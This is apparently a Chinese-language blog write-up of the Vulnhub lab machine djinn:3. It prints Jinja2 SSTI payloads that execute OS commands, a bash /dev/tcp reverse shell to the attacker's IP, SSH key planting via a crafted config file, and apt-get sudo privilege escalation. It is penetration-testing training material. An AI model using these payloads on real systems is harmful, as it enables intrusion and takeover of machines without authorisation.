Vulnhub:djinn:3

一、前言

通過大量vulnhub受控靶機(jī)積累一線攻防經(jīng)驗和技巧。

二、環(huán)境

靶機(jī)名稱:djinn:3

靶機(jī)難度:中級

目標(biāo):有1個flag——/root/proof.sh

攻擊機(jī):kali linux,IP地址192.168.100.9

靶機(jī):os-bytesec,IP地址192.168.100.36

三、挑戰(zhàn)過程

圖一

1.掃描IP提供的IT服務(wù)——

nmap -v -A -sV -T4 -p 1-65535 192.168.100.36

圖二

2.web服務(wù)-80端口探索和目錄爆破

圖三

3.探索web服務(wù)-5000端口

{{6*6}}

{{().__class__.__base__.__subclasses__()[156].__init__.__globals__['__builtins__']['__import__']('os').popen('ls -la').read()}}

4.創(chuàng)建反彈shell并監(jiān)聽

利用SSTI漏洞反彈shell

圖四
圖五
圖六

通過極其痛苦的嘗試探索,終于反彈shell成功了,哭死。

核心:

A——{{().__class__.__base__.__subclasses__()[156].__init__.__globa__['__builtins__']['__import__']('os').popen('echo "#!/bin/bash\nbash -i >&dev/tcp/192.168.100.9/6666 0>&1" > ./b.sh').read()}}

B——{{().__class__.__base__.__subclasses__()[156].__init__.__globa__['__builtins__']['__import__']('os').popen('chmod 777 b.sh').read()}}

C——{{().__class__.__base__.__subclasses__()[156].__init__.__globa__['__builtins__']['__import__']('os').popen('./b.sh').read()}}

圖七
圖八

或者nc監(jiān)聽反彈shell

圖九
圖十

5.探索權(quán)限提升

發(fā)現(xiàn)兩個 pyc 文件——

.py與.pyc文件區(qū)別

原來Python的程序中,是把原始程序代碼放在.py文件里,而Python會在執(zhí)行.py文件的時候。將.py形式的程序編譯成中間式文件(byte-compiled)的.pyc文件,這么做的目的就是為了加快下次執(zhí)行文件的速度。

所以,在我們運(yùn)行python文件的時候,就會自動首先查看是否具有.pyc文件,如果有的話,而且.py文件的修改時間和.pyc的修改時間一樣,就會讀取.pyc文件,否則,Python就會讀原來的.py文件。

其實并不是所有的.py文件在與運(yùn)行的時候都會產(chǎn)生.pyc文件,只有在import相應(yīng)的.py文件的時候,才會生成相應(yīng)的.pyc文件.

滲透測試過程有文件考慮反編譯——

1.為了保護(hù)文件的完整性,我們拷貝其十六進(jìn)制的數(shù)據(jù),如何得到十六進(jìn)制數(shù)據(jù)?使用 xxd 命令:

需要copy內(nèi)容的機(jī)器——xxd .configuration.cpython-38.pyc

需要將內(nèi)容在自己服務(wù)器反編譯——vim configuration.pyc(Ctrl+Shift+V 粘貼上去,wq 保存退出)

2.將其用 xxd 命令轉(zhuǎn)化為二進(jìn)制格式:

xxd -r configure.pyc >> configure1.pyc

3.uncompyle6 反編譯,沒有的使用 pip3 install uncompyle6 下載:

uncompyle6 configure1.pyc >> configure.py

4.uncompyle6只支持python2.8-3.8問題解決:

我的python是3.9.8

vim /usr/local/lib/python3.9/dist-packages/xdis/magics.py

在add_canonic_versions里添加3.9.8保存退出即可解決不支持導(dǎo)致不可用問題

圖十一
圖十二
圖十三
圖十四

閱讀一下源代碼,在 syncer.py 文件中有 main 入口,我們從這里開始:可以看到提供了三種連接服務(wù),分別為 FTP , SSH 和 URL。

我們再打開 configure.py 可以看到,syncer.py 文件中調(diào)用了 configure.py 的兩個方法,讓我們繼續(xù)看 configure.py 中的方法。syncer.py 首先調(diào)用了 set_config_path() 方法,從命名上我們也可以得出這是設(shè)置配置路徑的意思。

glob 方法是 glob 模塊中的,它的功能相當(dāng)于 windows 中的磁盤搜索文件,返回的元素是一個列表,從這里我們可以得出這里是得到 /home/saint 下的所有 json 文件[注意這個 saint ],以及得到 /tmp/ 目錄下的所有 json 文件,然后把它倆合并成一個列表,并命名為 files。

繼續(xù)往下看:

如果 files 的長度大于 2,這里就設(shè)置 files 前兩個路徑,后面的就是獲取最后的文件名,然后比較得到的/home/saint/ 目錄下的 json 文件名中的時間,和 /tmp/ 目錄下的 json 文件名中的時間,如果 /tmp 目錄下的時間比較早,就返回 /home下的,如果不是就返回 /tmp 下的。

到這里我們就大概知道做什么了,我們可以在 /tmp 創(chuàng)建一個命名格式為:dd-mm-yyyy.config.json 的文件,內(nèi)容為:

[因為這里的 shell 不好創(chuàng)建文件,所以我們可以在 kali 先生成改 json 文件,然后使用 wget 命令下載該文件即可]

圖十五

通過上述的 json 我們就可以把在 kali 生成的公鑰傳輸?shù)侥繕?biāo)服務(wù)器上的 .ssh 目錄中,即可實現(xiàn)免密登錄,首先我們得生成公鑰。

SSH免密登錄(參考鏈接:)——

1.客戶端生成公私鑰

本地客戶端生成公私鑰:(一路回車默認(rèn)即可)

ssh-keygen

上面這個命令會在用戶目錄.ssh文件夾下創(chuàng)建公私鑰

cd ~/.ssh

ls

下創(chuàng)建兩個密鑰:

id_rsa (私鑰)

id_rsa.pub (公鑰)

2.上傳id_rsa.pub (公鑰)到服務(wù)器~/.ssh目錄,存儲文件名為authorized_keys

3.測試免密登錄

ssh saint@192.168.100.36

圖十六

sudo -l查看是否可以進(jìn)行越權(quán),查看/etc/sudoers探索越權(quán)

有了這個跟 root 同一組的用戶,就可以讀到一些只能root組和root讀的文件:/etc/sudoers,該文件包含了能夠讓普通用戶執(zhí)行一些或者全部的root命令,如果該文件可以寫入的話,我們可以把當(dāng)前用戶寫入:r00t ALL=(ALL:ALL) ALL,這樣當(dāng)執(zhí)行sudo su的時候,我們就可以進(jìn)入到 root 了!但現(xiàn)在只有讀權(quán)限,查看一波,可以發(fā)現(xiàn)有一個名為jason的用戶可以以 root 身份執(zhí)行 apt-get 命令,該用戶不在/etc/passwd,我們可以通過創(chuàng)建這個用戶來得到他的特權(quán)操作進(jìn)行進(jìn)一步越權(quán)。

圖十七
圖十八

apt-get 命令提權(quán)


圖十九
圖二十
圖二十

四、總結(jié)

風(fēng)險點:

1.SSTI

2.31337提供的IT服務(wù)存在弱口令

3.configure.py和syncer.py應(yīng)該做混淆,避免反編譯查看源碼功能,同時其代碼設(shè)計未很好考慮安全性和權(quán)限收縮

4.sudo權(quán)限配置濫用

五、疑問點

1.【high】configure.py和syncer.py代碼邏輯基本讀懂,但是不是包含所有細(xì)節(jié)性對接全部弄懂?。?!

2.【high】SSTI漏洞不算徹底搞懂,需要找時間細(xì)細(xì)鉆研!

3.【high】apt-get提權(quán)邏輯知道怎么操作,但是有點懵!

參考鏈接

1.【思路】https://www.freesion.com/article/80361034498/

2.【SSTI】https://www.cnblogs.com/bmjoker/p/13508538.html

3.【ssh免密】https://blog.csdn.net/jeikerxiao/article/details/84105529

4.【apt-get提權(quán)】https://gtfobins.github.io/

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容